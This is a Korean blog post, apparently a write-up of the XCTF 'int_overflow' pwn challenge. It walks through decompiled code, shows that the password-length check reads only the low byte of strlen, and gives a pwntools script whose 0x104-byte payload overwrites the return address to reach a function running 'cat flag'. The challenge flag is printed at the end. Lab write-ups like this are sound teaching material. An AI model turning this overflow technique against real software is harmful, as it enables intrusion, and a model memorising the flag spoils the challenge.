ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • int_overflow
    CTF/XCTF 2021. 1. 21. 00:08

    Disassembly 디스어셈블리


    undefined4 main(void)
    {
        char **ppcVar1;
        char *pcStack48;
        int32_t *piStack44;
        undefined4 uStack36;
        undefined auStack32 [12];
        int32_t iStack20;
        int32_t var_ch;
        undefined *puStack12;
        int32_t var_4h;
        
        puStack12 = &stack0x00000004;
        piStack44 = (int32_t *)0x0;
        pcStack48 = _reloc.stdin;
        setbuf();
        piStack44 = (int32_t *)0x0;
        pcStack48 = _reloc.stdout;
        setbuf();
        piStack44 = (int32_t *)0x0;
        pcStack48 = _reloc.stderr;
        setbuf();
        pcStack48 = "---------------------";
        puts();
        pcStack48 = "~~ Welcome to CTF! ~~";
        puts();
        pcStack48 = "       1.Login       ";
        puts();
        pcStack48 = "       2.Exit        ";
        puts();
        pcStack48 = "---------------------";
        puts();
        pcStack48 = "Your choice:";
        printf();
        piStack44 = &iStack20;
        pcStack48 = (char *)0x8048a27;
        __isoc99_scanf();
        ppcVar1 = (char **)auStack32;
        if (iStack20 == 1) {
            uStack36 = 0x804889c;
            login();
        } else {
            if (iStack20 == 2) {
                pcStack48 = "Bye~";
                puts();
                pcStack48 = (char *)0x0;
                exit();
                ppcVar1 = &pcStack48;
            }
            *(char **)((int32_t)ppcVar1 + -0x10) = "Invalid Choice!";
            *(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x80488c5;
            puts();
        }
        return 0;
    }
    

     

    main() 함수의 초반부에서는 setbuf로 버퍼를 비워주고, 환영 문구를 출력한다.

    그 뒤에 수를 입력받아서 1이면 login(), 2라면 exit()를 호출하고 그 외에는"Invalid Choice!"를 출력하는 부분이 있고, 그 중에서 login()이 중요할 것이다.

     

    void login(void)
    {
        void *var_228h;
        void *s;
        
        memset(&s, 0, 0x20);
        memset(&var_228h, 0, 0x200);
        puts("Please input your username:");
        read(0, &s, 0x19);
        printf("Hello %s\n", &s);
        puts("Please input your passwd:");
        read(0, &var_228h, 0x199);
        check_passwd((char *)&var_228h);
        return;
    }

    read() 함수의 호출은 문자열 맨 끝 null바이트를 고려해서 크기가 지정되어 있고, 별다른 취약점을 찾을 수 없다. check_passwd()를 호출하는 부분이 있으니 그쪽을 살펴보자.

     

    void check_passwd(char *src)
    {
        char *dest;
        uint32_t var_9h;
        
        var_9h._0_1_ = strlen(src);
        if (((uint8_t)var_9h < 4) || (8 < (uint8_t)var_9h)) {
            puts("Invalid Password");
            fflush(_reloc.stdout);
        } else {
            puts("Success");
            fflush(_reloc.stdout);
            strcpy(&dest, src);
        }
        return;
    }

    login() 에서 입력한 패스워드의 길이 검사가 존재하고, strcpy를 통해 dest에 패스워드를 복사한다. 자세히 살펴보기 위해 어셈블리를 확인해봤다.

     

    check_passwd()

    strlen() 함수가 호출된 직후를 살펴보면 mov byte [var_9h] al이 눈에 띈다. 리턴값의 하위 1바이트를 var_9h로 옮긴 후 이를 통해 비교를 한다는 것을 알 수 있다. 따라서 패스워드의 길이의 하위 1바이트가 0x04 이상 0x08 이하라면 검사를 통과할 수 있다. 또한, login() 에서 패스워드를 0x199 만큼 입력받으므로 이를 이용한 공격을 구상할 수 있다.

     

    RET Overwrite


    패스워드의 길이를 0x104로 조절하면 길이 검사를 통과할 수 있을 뿐더러, strcpy() 를 통해 ebp-0x14 위치에 패스워드가 복사되므로 return address를 덮을 수 있다.

     

    void what_is_this(void)
    {
        system("cat flag");
        return;
    }

    친절하게도 바이너리에 flag를 보여주는 함수가 있으므로 해당 위치로 RET Overwrite 해주면 된다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./int_overflow"
    # server = 
    # port = 
    
    context.log_level = 'debug'
    context.binary = binary
    
    # p = remote(server, port)
    p = process(binary)
    e = ELF(binary)
    
    p.sendlineafter("Your choice:", str(1))
    p.sendlineafter("Please input your username:", "L0TUS")
    
    payload = b"A"*0x18 
    payload += p32(e.symbols["what_is_this"])
    payload += b"A"*(0x104-len(payload))
    p.sendlineafter("Please input your passwd:", payload)
    
    p.interactive()

    Flag

    cyberpeace{6a3ff7787fbd63e4f5eecae9458513c9}

    'CTF > XCTF' 카테고리의 다른 글

    Recho  (0) 2021.02.11
    pwn-100  (0) 2021.02.11
    welpwn  (0) 2021.02.11
    Mary_Morton  (0) 2021.02.11
    level2  (0) 2021.01.16

    댓글

Designed by Tistory.